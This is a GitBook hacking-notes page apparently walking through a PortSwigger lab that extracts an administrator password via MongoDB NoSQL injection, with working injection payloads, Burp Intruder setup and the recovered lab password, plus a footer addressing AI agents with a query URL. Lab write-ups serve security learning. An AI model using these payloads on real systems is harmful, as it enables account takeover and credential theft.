> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/web/nosql-injection/data-extraction-via-nosql-injection.md).
# Data Extraction via NoSQL Injection
Data Extraction via NoSQL Injection notes for PortSwigger Web Security Academy labs, including exploitation workflow, payload testing, Burp Suite validation, and remediation context.
### Exploiting NoSQL Injection to Extract Data
**Lab Background**
The user search functionality of this lab is based on a database NoSQL **MongoDB**. / She is vulnerable to a \*\* NoSQL injection\*\*.
\*\* Target:\*\*/ Extract the user's password **administrator** and then log in to his account.
A valid account is provided:
* **Identifier:** `wiener`
* **Password:** `peter`
```bash
csrf=9FxorVglwXv5ZCx4bSUi29Bge07i8pJP&username=wiener&password=peter
```
**Operation analysis**
After connecting to `wiener:peter`, the following request is sent in the background:
```bash
GET /user/lookup?user=
```
This query lists information about users.
* Example:
```bash
GET /user/lookup?user=administrator
```
The frontend then displays:
```bash
Your username is: wiener (role: user)
```
**Detection of vulnerability NoSQL**
By injecting a single apostrophe:
```bash
administrator'
```
The server returns an error:
```terraform
{
"message": "There was an error getting user details"
}
```
However, by adding an always-true condition:
```bash
administrator' || true ||'
```
The request is accepted, confirming the presence of a \*\* NoSQL injection\*\*.
**Extraction of password length**
The `this.password.length` attribute is used to determine the password size.
Test example:
```bash
wiener' && this.password.length <40 ||'
wiener' && this.password.length == 5 ||'
```
For this to work properly, it is necessary to \*\*d
```bash
wiener' %26%26 this.password.length == 5 ||'
```
\*\* Application to Administrator\*\*
Repeating the method with the `administrator` user:
```bash
administrator' && this.password.length == 8 ||'
administrator' %26%26 this.password.length == 8 ||'
```
The condition is validated, indicating that the administrator's password contains **8 characters**.
**Extract character by character**
Then filter by position:
```bash
administrator' %26%26 this.password[0]=='X
```
This request is sent to **Intruder**.
### \*\* Attack with Intruder\*\*
Attack type : **Cluster Bomb**
Parameters:
* Character position: `0` to `7` values
* Tested characters: alphabet (letter dictionary)
By analyzing valid answers, the password is restored.
| number | lette |
| ------ | ----- |
| 0 | v |
| 1 | x |
| 2 | t |
| 3 | r |
| 4 | m |
| 5 | e |
| 6 | z |
| 7 | s |
**Final result**
**Administrator user password:**
`vxtrmezs`
---
# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.
## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.
Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:
```
GET https://hacking-notes.jord4n.pro/web/nosql-injection/data-extraction-via-nosql-injection.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
